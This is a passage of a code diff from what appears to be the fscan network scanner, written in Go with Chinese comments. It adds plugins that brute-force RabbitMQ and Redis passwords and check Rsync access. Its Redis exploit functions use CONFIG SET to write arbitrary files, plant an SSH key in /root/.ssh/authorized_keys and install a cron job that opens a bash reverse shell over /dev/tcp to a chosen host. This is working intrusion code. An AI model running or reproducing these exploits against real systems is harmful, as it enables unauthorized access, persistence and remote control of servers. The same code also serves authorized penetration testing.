result := tryRabbitMQCredential(scanCtx, info, credential, timeoutSeconds, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("RabbitMQ并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryRabbitMQCredential 尝试单个RabbitMQ凭据
func tryRabbitMQCredential(ctx context.Context, info *Common.HostInfo, credential RabbitMQCredential, timeoutSeconds int64, maxRetries int) *RabbitMQScanResult {
var lastErr error
var errorMsg string
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &RabbitMQScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
ErrorMsg: "全局超时",
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
// 创建连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(timeoutSeconds)*time.Second)
success, err, detailErr := RabbitMQConn(connCtx, info, credential.Username, credential.Password)
cancel()
if success {
return &RabbitMQScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
errorMsg = detailErr
// 打印详细的错误信息,包括所有原始错误信息
Common.LogDebug(fmt.Sprintf("凭据 %s:%s 失败,错误详情: %s",
credential.Username, credential.Password, errorMsg))
if err != nil {
// 可以根据错误信息类型来决定是否需要重试
// 例如,如果错误是认证错误,则无需重试
if strings.Contains(errorMsg, "ACCESS_REFUSED") {
Common.LogDebug("认证错误,无需重试")
break
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &RabbitMQScanResult{
Success: false,
Error: lastErr,
Credential: credential,
ErrorMsg: errorMsg,
}
}
// RabbitMQConn 尝试 RabbitMQ 连接
func RabbitMQConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error, string) {
host, port := info.Host, info.Ports
// 构造 AMQP URL
amqpURL := fmt.Sprintf("amqp://%s:%s@%s:%s/", user, pass, host, port)
// 创建结果通道
resultChan := make(chan struct {
success bool
err error
detailErr string
}, 1)
// 在协程中尝试连接
go func() {
// 配置连接
config := amqp.Config{
Dial: func(network, addr string) (net.Conn, error) {
dialer := &net.Dialer{Timeout: time.Duration(Common.Timeout) * time.Second}
return dialer.DialContext(ctx, network, addr)
},
}
// 尝试连接
conn, err := amqp.DialConfig(amqpURL, config)
if err != nil {
detailErr := err.Error()
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
detailErr string
}{false, err, detailErr}:
}
return
}
defer conn.Close()
select {
case <-ctx.Done():
case resultChan <- struct {
success bool
err error
detailErr string
}{true, nil, ""}:
}
}()
// 等待结果或上下文取消
select {
case result := <-resultChan:
return result.success, result.err, result.detailErr
case <-ctx.Done():
return false, ctx.Err(), ctx.Err().Error()
}
}
// saveRabbitMQResult 保存RabbitMQ扫描结果
func saveRabbitMQResult(info *Common.HostInfo, target string, credential RabbitMQCredential) {
successMsg := fmt.Sprintf("RabbitMQ服务 %s 连接成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "rabbitmq",
"username": credential.Username,
"password": credential.Password,
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
}
+945
View File
@@ -0,0 +1,945 @@
package Plugins
import (
"bufio"
"context"
"fmt"
"github.com/shadow1ng/fscan/Common"
"io"
"net"
"os"
"path/filepath"
"strings"
"sync"
"time"
)
var (
dbfilename string // Redis数据库文件名
dir string // Redis数据库目录
)
type RedisCredential struct {
Password string
}
type RedisScanResult struct {
Success bool
IsUnauth bool
Error error
Credential RedisCredential
}
func RedisScan(info *Common.HostInfo) error {
Common.LogDebug(fmt.Sprintf("开始Redis扫描: %s:%v", info.Host, info.Ports))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
target := fmt.Sprintf("%s:%v", info.Host, info.Ports)
// 先尝试无密码连接
resultChan := make(chan *RedisScanResult, 1)
go func() {
flag, err := RedisUnauth(ctx, info)
if flag && err == nil {
resultChan <- &RedisScanResult{
Success: true,
IsUnauth: true,
Error: nil,
Credential: RedisCredential{Password: ""},
}
return
}
resultChan <- nil
}()
// 等待无密码连接结果或超时
select {
case result := <-resultChan:
if result != nil && result.Success {
Common.LogSuccess(fmt.Sprintf("Redis无密码连接成功: %s", target))
// 保存未授权访问结果
scanResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "redis",
"type": "unauthorized",
},
}
Common.SaveResult(scanResult)
// 如果配置了写入功能,进行漏洞利用
if Common.RedisFile != "" || Common.RedisShell != "" || (Common.RedisWritePath != "" && Common.RedisWriteContent != "") {
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err == nil {
defer conn.Close()
ExploitRedis(ctx, info, conn, "")
}
}
return nil
}
case <-ctx.Done():
Common.LogError(fmt.Sprintf("Redis无密码连接测试超时: %s", target))
return fmt.Errorf("全局超时")
}
if Common.DisableBrute {
Common.LogDebug("暴力破解已禁用,结束扫描")
return nil
}
// 使用密码爆破
credentials := generateRedisCredentials(Common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试密码爆破 (总密码数: %d)", len(credentials)))
// 使用工作池并发扫描
result := concurrentRedisScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
if result != nil {
// 记录成功结果
Common.LogSuccess(fmt.Sprintf("Redis认证成功 %s [%s]", target, result.Credential.Password))
// 保存弱密码结果
scanResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
"port": info.Ports,
"service": "redis",
"type": "weak-password",
"password": result.Credential.Password,
},
}
Common.SaveResult(scanResult)
// 如果配置了写入功能,进行漏洞利用
if Common.RedisFile != "" || Common.RedisShell != "" || (Common.RedisWritePath != "" && Common.RedisWriteContent != "") {
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
if err == nil {
defer conn.Close()
// 认证
authCmd := fmt.Sprintf("auth %s\r\n", result.Credential.Password)
conn.Write([]byte(authCmd))
readreply(conn)
ExploitRedis(ctx, info, conn, result.Credential.Password)
}
}
return nil
}
// 检查是否因为全局超时
select {
case <-ctx.Done():
Common.LogError(fmt.Sprintf("Redis扫描全局超时: %s", target))
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("Redis扫描完成: %s", target))
return nil
}
}
// generateRedisCredentials 生成Redis密码列表
func generateRedisCredentials(passwords []string) []RedisCredential {
var credentials []RedisCredential
for _, pass := range passwords {
actualPass := strings.Replace(pass, "{user}", "redis", -1)
credentials = append(credentials, RedisCredential{
Password: actualPass,
})
}
return credentials
}
// concurrentRedisScan 并发扫描Redis服务
func concurrentRedisScan(ctx context.Context, info *Common.HostInfo, credentials []RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
if maxConcurrent > len(credentials) {
maxConcurrent = len(credentials)
}
// 创建工作池
var wg sync.WaitGroup
resultChan := make(chan *RedisScanResult, 1)
workChan := make(chan RedisCredential, maxConcurrent)
scanCtx, scanCancel := context.WithCancel(ctx)
defer scanCancel()
// 启动工作协程
for i := 0; i < maxConcurrent; i++ {
wg.Add(1)
go func() {
defer wg.Done()
for credential := range workChan {
select {
case <-scanCtx.Done():
return
default:
result := tryRedisCredential(scanCtx, info, credential, timeoutMs, maxRetries)
if result.Success {
select {
case resultChan <- result:
scanCancel() // 找到有效凭据,取消其他工作
default:
}
return
}
}
}
}()
}
// 发送工作
go func() {
for i, cred := range credentials {
select {
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试密码: %s", i+1, len(credentials), cred.Password))
workChan <- cred
}
}
close(workChan)
}()
// 等待结果或完成
go func() {
wg.Wait()
close(resultChan)
}()
// 获取结果,考虑全局超时
select {
case result, ok := <-resultChan:
if ok && result != nil && result.Success {
return result
}
return nil
case <-ctx.Done():
Common.LogDebug("Redis并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryRedisCredential 尝试单个Redis凭据
func tryRedisCredential(ctx context.Context, info *Common.HostInfo, credential RedisCredential, timeoutMs int64, maxRetries int) *RedisScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
select {
case <-ctx.Done():
return &RedisScanResult{
Success: false,
Error: fmt.Errorf("全局超时"),
Credential: credential,
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试密码: %s", retry+1, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
success, err := attemptRedisAuth(ctx, info, credential.Password, timeoutMs)
if success {
return &RedisScanResult{
Success: true,
Credential: credential,
}
}
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
}
}
return &RedisScanResult{
Success: false,
Error: lastErr,
Credential: credential,
}
}
// attemptRedisAuth 尝试Redis认证
func attemptRedisAuth(ctx context.Context, info *Common.HostInfo, password string, timeoutMs int64) (bool, error) {
// 创建独立于全局超时的单个连接超时上下文
connCtx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutMs)*time.Millisecond)
defer cancel()
// 结合全局上下文和连接超时上下文
mergedCtx, mergedCancel := context.WithCancel(connCtx)
defer mergedCancel()
// 监听全局上下文取消
go func() {
select {
case <-ctx.Done():
mergedCancel() // 全局超时会触发合并上下文取消
case <-connCtx.Done():
// 连接超时已经触发,无需操作
}
}()
connChan := make(chan struct {
success bool
err error
}, 1)
go func() {
success, err := RedisConn(info, password)
select {
case <-mergedCtx.Done():
case connChan <- struct {
success bool
err error
}{success, err}:
}
}()
select {
case result := <-connChan:
return result.success, result.err
case <-mergedCtx.Done():
if ctx.Err() != nil {
return false, fmt.Errorf("全局超时")
}
return false, fmt.Errorf("连接超时")
}
}
// RedisUnauth 尝试Redis未授权访问检测
func RedisUnauth(ctx context.Context, info *Common.HostInfo) (flag bool, err error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始Redis未授权检测: %s", realhost))
// 创建带超时的连接
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second)
defer cancel()
connChan := make(chan struct {
conn net.Conn
err error
}, 1)
go func() {
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
select {
case <-connCtx.Done():
if conn != nil {
conn.Close()
}
case connChan <- struct {
conn net.Conn
err error
}{conn, err}:
}
}()
var conn net.Conn
select {
case result := <-connChan:
if result.err != nil {
Common.LogError(fmt.Sprintf("Redis连接失败 %s: %v", realhost, result.err))
return false, result.err
}
conn = result.conn
case <-connCtx.Done():
return false, fmt.Errorf("连接超时")
}
defer conn.Close()
// 发送info命令测试未授权访问
Common.LogDebug(fmt.Sprintf("发送info命令到: %s", realhost))
if _, err = conn.Write([]byte("info\r\n")); err != nil {
Common.LogError(fmt.Sprintf("Redis %s 发送命令失败: %v", realhost, err))
return false, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
Common.LogError(fmt.Sprintf("Redis %s 读取响应失败: %v", realhost, err))
return false, err
}
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(reply)))
// 检查未授权访问
if !strings.Contains(reply, "redis_version") {
Common.LogDebug(fmt.Sprintf("Redis %s 未发现未授权访问", realhost))
return false, nil
}
// 发现未授权访问,获取配置
Common.LogDebug(fmt.Sprintf("Redis %s 发现未授权访问,尝试获取配置", realhost))
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("Redis %s 发现未授权访问", realhost)
Common.LogSuccess(result)
return true, err
}
// 输出详细信息
result := fmt.Sprintf("Redis %s 发现未授权访问 文件位置:%s/%s", realhost, dir, dbfilename)
Common.LogSuccess(result)
return true, nil
}
// RedisConn 尝试Redis连接
func RedisConn(info *Common.HostInfo, pass string) (bool, error) {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("尝试Redis连接: %s [%s]", realhost, pass))
// 建立TCP连接
conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second)
if err != nil {
Common.LogDebug(fmt.Sprintf("连接失败: %v", err))
return false, err
}
defer conn.Close()
// 设置超时
if err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
Common.LogDebug(fmt.Sprintf("设置超时失败: %v", err))
return false, err
}
// 发送认证命令
authCmd := fmt.Sprintf("auth %s\r\n", pass)
Common.LogDebug("发送认证命令")
if _, err = conn.Write([]byte(authCmd)); err != nil {
Common.LogDebug(fmt.Sprintf("发送认证命令失败: %v", err))
return false, err
}
// 读取响应
reply, err := readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return false, err
}
Common.LogDebug(fmt.Sprintf("收到响应: %s", reply))
// 认证成功
if strings.Contains(reply, "+OK") {
Common.LogDebug("认证成功,获取配置信息")
// 获取配置信息
dbfilename, dir, err = getconfig(conn)
if err != nil {
result := fmt.Sprintf("Redis认证成功 %s [%s]", realhost, pass)
Common.LogSuccess(result)
Common.LogDebug(fmt.Sprintf("获取配置失败: %v", err))
return true, err
}
result := fmt.Sprintf("Redis认证成功 %s [%s] 文件位置:%s/%s",
realhost, pass, dir, dbfilename)
Common.LogSuccess(result)
return true, nil
}
Common.LogDebug("认证失败")
return false, fmt.Errorf("认证失败")
}
// ExploitRedis 执行Redis漏洞利用
func ExploitRedis(ctx context.Context, info *Common.HostInfo, conn net.Conn, password string) error {
realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始Redis漏洞利用: %s", realhost))
// 如果配置为不进行测试则直接返回
if Common.DisableRedis {
Common.LogDebug("Redis漏洞利用已禁用")
return nil
}
// 获取当前配置
var err error
if dbfilename == "" || dir == "" {
dbfilename, dir, err = getconfig(conn)
if err != nil {
Common.LogError(fmt.Sprintf("获取Redis配置失败: %v", err))
return err
}
}
// 检查是否超时
select {
case <-ctx.Done():
return fmt.Errorf("全局超时")
default:
}
// 支持任意文件写入
if Common.RedisWritePath != "" && Common.RedisWriteContent != "" {
Common.LogDebug(fmt.Sprintf("尝试写入文件: %s", Common.RedisWritePath))
// 提取目录和文件名
filePath := Common.RedisWritePath
dirPath := filepath.Dir(filePath)
fileName := filepath.Base(filePath)
Common.LogDebug(fmt.Sprintf("目标目录: %s, 文件名: %s", dirPath, fileName))
success, msg, err := writeCustomFile(conn, dirPath, fileName, Common.RedisWriteContent)
if err != nil {
Common.LogError(fmt.Sprintf("文件写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("成功写入文件: %s", filePath))
} else {
Common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
}
}
// 支持从本地文件读取并写入
if Common.RedisWritePath != "" && Common.RedisWriteFile != "" {
Common.LogDebug(fmt.Sprintf("尝试从文件 %s 读取内容并写入到 %s", Common.RedisWriteFile, Common.RedisWritePath))
// 读取本地文件内容
fileContent, err := os.ReadFile(Common.RedisWriteFile)
if err != nil {
Common.LogError(fmt.Sprintf("读取本地文件失败: %v", err))
} else {
// 提取目录和文件名
dirPath := filepath.Dir(Common.RedisWritePath)
fileName := filepath.Base(Common.RedisWritePath)
success, msg, err := writeCustomFile(conn, dirPath, fileName, string(fileContent))
if err != nil {
Common.LogError(fmt.Sprintf("文件写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("成功将文件 %s 的内容写入到 %s", Common.RedisWriteFile, Common.RedisWritePath))
} else {
Common.LogError(fmt.Sprintf("文件写入失败: %s", msg))
}
}
}
// 支持向SSH目录写入密钥(向后兼容)
if Common.RedisFile != "" {
Common.LogDebug(fmt.Sprintf("尝试写入SSH密钥: %s", Common.RedisFile))
success, msg, err := writekey(conn, Common.RedisFile)
if err != nil {
Common.LogError(fmt.Sprintf("SSH密钥写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("SSH密钥写入成功"))
} else {
Common.LogError(fmt.Sprintf("SSH密钥写入失败: %s", msg))
}
}
// 支持写入定时任务(向后兼容)
if Common.RedisShell != "" {
Common.LogDebug(fmt.Sprintf("尝试写入定时任务: %s", Common.RedisShell))
success, msg, err := writecron(conn, Common.RedisShell)
if err != nil {
Common.LogError(fmt.Sprintf("定时任务写入失败: %v", err))
} else if success {
Common.LogSuccess(fmt.Sprintf("定时任务写入成功"))
} else {
Common.LogError(fmt.Sprintf("定时任务写入失败: %s", msg))
}
}
// 恢复数据库配置
Common.LogDebug("开始恢复数据库配置")
if err = recoverdb(dbfilename, dir, conn); err != nil {
Common.LogError(fmt.Sprintf("Redis %v 恢复数据库失败: %v", realhost, err))
} else {
Common.LogDebug("数据库配置恢复成功")
}
Common.LogDebug(fmt.Sprintf("Redis漏洞利用完成: %s", realhost))
return nil
}
// writeCustomFile 向指定路径写入自定义内容
func writeCustomFile(conn net.Conn, dirPath, fileName, content string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始向 %s/%s 写入内容", dirPath, fileName))
flag = false
// 设置文件目录
Common.LogDebug(fmt.Sprintf("设置目录: %s", dirPath))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dirPath))); err != nil {
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 设置文件名
if strings.Contains(text, "OK") {
Common.LogDebug(fmt.Sprintf("设置文件名: %s", fileName))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", fileName))); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 写入内容
if strings.Contains(text, "OK") {
Common.LogDebug("写入文件内容")
// 处理多行内容,添加换行符
safeContent := strings.ReplaceAll(content, "\"", "\\\"")
safeContent = strings.ReplaceAll(safeContent, "\n", "\\n")
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"%s\"\r\n", safeContent))); err != nil {
Common.LogDebug(fmt.Sprintf("写入内容失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
Common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
if strings.Contains(text, "OK") {
Common.LogDebug("文件写入成功")
flag = true
}
}
}
}
// 截断过长的响应文本
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
Common.LogDebug(fmt.Sprintf("写入文件完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err
}
// writekey 向Redis写入SSH密钥
func writekey(conn net.Conn, filename string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始写入SSH密钥, 文件: %s", filename))
flag = false
// 设置文件目录为SSH目录
Common.LogDebug("设置目录: /root/.ssh/")
if _, err = conn.Write([]byte("CONFIG SET dir /root/.ssh/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置目录失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 设置文件名为authorized_keys
if strings.Contains(text, "OK") {
Common.LogDebug("设置文件名: authorized_keys")
if _, err = conn.Write([]byte("CONFIG SET dbfilename authorized_keys\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 读取并写入SSH密钥
if strings.Contains(text, "OK") {
// 读取密钥文件
Common.LogDebug(fmt.Sprintf("读取密钥文件: %s", filename))
key, err := Readfile(filename)
if err != nil {
text = fmt.Sprintf("读取密钥文件 %s 失败: %v", filename, err)
Common.LogDebug(text)
return flag, text, err
}
if len(key) == 0 {
text = fmt.Sprintf("密钥文件 %s 为空", filename)
Common.LogDebug(text)
return flag, text, err
}
Common.LogDebug(fmt.Sprintf("密钥内容长度: %d", len(key)))
// 写入密钥
Common.LogDebug("写入密钥内容")
if _, err = conn.Write([]byte(fmt.Sprintf("set x \"\\n\\n\\n%v\\n\\n\\n\"\r\n", key))); err != nil {
Common.LogDebug(fmt.Sprintf("写入密钥失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
Common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
if strings.Contains(text, "OK") {
Common.LogDebug("SSH密钥写入成功")
flag = true
}
}
}
}
// 截断过长的响应文本
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
Common.LogDebug(fmt.Sprintf("写入SSH密钥完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err
}
// writecron 向Redis写入定时任务
func writecron(conn net.Conn, host string) (flag bool, text string, err error) {
Common.LogDebug(fmt.Sprintf("开始写入定时任务, 目标地址: %s", host))
flag = false
// 首先尝试Ubuntu系统的cron路径
Common.LogDebug("尝试Ubuntu系统路径: /var/spool/cron/crontabs/")
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/crontabs/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置Ubuntu路径失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 如果Ubuntu路径失败,尝试CentOS系统的cron路径
if !strings.Contains(text, "OK") {
Common.LogDebug("尝试CentOS系统路径: /var/spool/cron/")
if _, err = conn.Write([]byte("CONFIG SET dir /var/spool/cron/\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置CentOS路径失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
}
// 如果成功设置目录,继续后续操作
if strings.Contains(text, "OK") {
Common.LogDebug("成功设置cron目录")
// 设置数据库文件名为root
Common.LogDebug("设置文件名: root")
if _, err = conn.Write([]byte("CONFIG SET dbfilename root\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("设置文件名失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
if strings.Contains(text, "OK") {
// 解析目标主机地址
target := strings.Split(host, ":")
if len(target) < 2 {
Common.LogDebug(fmt.Sprintf("主机地址格式错误: %s", host))
return flag, "主机地址格式错误", err
}
scanIp, scanPort := target[0], target[1]
Common.LogDebug(fmt.Sprintf("目标地址解析: IP=%s, Port=%s", scanIp, scanPort))
// 写入反弹shell的定时任务
Common.LogDebug("写入定时任务")
cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n",
scanIp, scanPort)
if _, err = conn.Write([]byte(cronCmd)); err != nil {
Common.LogDebug(fmt.Sprintf("写入定时任务失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
// 保存更改
if strings.Contains(text, "OK") {
Common.LogDebug("保存更改")
if _, err = conn.Write([]byte("save\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("保存失败: %v", err))
return flag, text, err
}
if text, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取响应失败: %v", err))
return flag, text, err
}
if strings.Contains(text, "OK") {
Common.LogDebug("定时任务写入成功")
flag = true
}
}
}
}
// 截断过长的响应文本
text = strings.TrimSpace(text)
if len(text) > 50 {
text = text[:50]
}
Common.LogDebug(fmt.Sprintf("写入定时任务完成, 状态: %v, 响应: %s", flag, text))
return flag, text, err
}
// Readfile 读取文件内容并返回第一个非空行
func Readfile(filename string) (string, error) {
Common.LogDebug(fmt.Sprintf("读取文件: %s", filename))
file, err := os.Open(filename)
if err != nil {
Common.LogDebug(fmt.Sprintf("打开文件失败: %v", err))
return "", err
}
defer file.Close()
scanner := bufio.NewScanner(file)
for scanner.Scan() {
text := strings.TrimSpace(scanner.Text())
if text != "" {
Common.LogDebug("找到非空行")
return text, nil
}
}
Common.LogDebug("文件内容为空")
return "", err
}
// readreply 读取Redis服务器响应
func readreply(conn net.Conn) (string, error) {
Common.LogDebug("读取Redis响应")
// 设置1秒读取超时
conn.SetReadDeadline(time.Now().Add(time.Second))
bytes, err := io.ReadAll(conn)
if len(bytes) > 0 {
Common.LogDebug(fmt.Sprintf("收到响应,长度: %d", len(bytes)))
err = nil
} else {
Common.LogDebug("未收到响应数据")
}
return string(bytes), err
}
// getconfig 获取Redis配置信息
func getconfig(conn net.Conn) (dbfilename string, dir string, err error) {
Common.LogDebug("开始获取Redis配置信息")
// 获取数据库文件名
Common.LogDebug("获取数据库文件名")
if _, err = conn.Write([]byte("CONFIG GET dbfilename\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("获取数据库文件名失败: %v", err))
return
}
text, err := readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取数据库文件名响应失败: %v", err))
return
}
// 解析数据库文件名
text1 := strings.Split(text, "\r\n")
if len(text1) > 2 {
dbfilename = text1[len(text1)-2]
} else {
dbfilename = text1[0]
}
Common.LogDebug(fmt.Sprintf("数据库文件名: %s", dbfilename))
// 获取数据库目录
Common.LogDebug("获取数据库目录")
if _, err = conn.Write([]byte("CONFIG GET dir\r\n")); err != nil {
Common.LogDebug(fmt.Sprintf("获取数据库目录失败: %v", err))
return
}
text, err = readreply(conn)
if err != nil {
Common.LogDebug(fmt.Sprintf("读取数据库目录响应失败: %v", err))
return
}
// 解析数据库目录
text1 = strings.Split(text, "\r\n")
if len(text1) > 2 {
dir = text1[len(text1)-2]
} else {
dir = text1[0]
}
Common.LogDebug(fmt.Sprintf("数据库目录: %s", dir))
return
}
// recoverdb 恢复Redis数据库配置
func recoverdb(dbfilename string, dir string, conn net.Conn) (err error) {
Common.LogDebug("开始恢复Redis数据库配置")
// 恢复数据库文件名
Common.LogDebug(fmt.Sprintf("恢复数据库文件名: %s", dbfilename))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dbfilename %s\r\n", dbfilename))); err != nil {
Common.LogDebug(fmt.Sprintf("恢复数据库文件名失败: %v", err))
return
}
if _, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取恢复文件名响应失败: %v", err))
return
}
// 恢复数据库目录
Common.LogDebug(fmt.Sprintf("恢复数据库目录: %s", dir))
if _, err = conn.Write([]byte(fmt.Sprintf("CONFIG SET dir %s\r\n", dir))); err != nil {
Common.LogDebug(fmt.Sprintf("恢复数据库目录失败: %v", err))
return
}
if _, err = readreply(conn); err != nil {
Common.LogDebug(fmt.Sprintf("读取恢复目录响应失败: %v", err))
return
}
Common.LogDebug("数据库配置恢复完成")
return
}
+476
View File
@@ -0,0 +1,476 @@
package Plugins
import (
"context"
"fmt"
"strings"
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
)
// RsyncCredential 表示一个Rsync凭据
type RsyncCredential struct {
Username string
Password string
}
// RsyncScanResult 表示Rsync扫描结果
type RsyncScanResult struct {
Success bool
Error error
Credential RsyncCredential
IsAnonymous bool
ModuleName string
}
func RsyncScan(info *Common.HostInfo) error {
if Common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
defer cancel()
// 首先尝试匿名访问
Common.LogDebug("尝试匿名访问...")
anonymousResult := tryRsyncCredential(ctx, info, RsyncCredential{"", ""}, Common.Timeout, Common.MaxRetries)
if anonymousResult.Success {
// 匿名访问成功
saveRsyncResult(info, target, anonymousResult)
return nil
}
// 构建凭据列表
